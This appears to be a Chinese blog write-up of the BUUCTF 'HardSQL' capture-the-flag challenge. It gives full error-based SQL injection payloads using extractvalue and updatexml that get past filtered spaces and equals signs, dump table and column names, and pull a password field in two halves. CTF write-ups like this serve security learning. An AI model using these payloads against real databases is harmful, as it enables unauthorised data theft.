[BUUCTF]HardSQL(writeup)

sql注入题进入后直接惯例

输入admin / 2'or'1

随后来到这个界面

在url的username或password后面

随便加点东西看看

发现有报东西

 

使用bp试试看过滤了哪些东西

发现select、ascii、空格、=等被过滤

再加上之前页面的报错

就确定了需要用报错注入来做

随后构造注入语句

因为“=”、“空格”被过滤了

所以就用常用的" like "和" () "来绕过

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))#
或
1'^(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#

得到数据库名后构造下一句

1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
#或
1'^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))%23

由此类推下去得到下一句语句

1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23

 但是当你输入后会发现

他只给了你前半段的flag

这是为什么,那该怎么办呢

这是因为extractvalue函数限制了一次字符串只能输出32位

只需要使用leftright函数即可

最终语句为

1'^extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))))%23
或
1'^(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))),1))%23

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值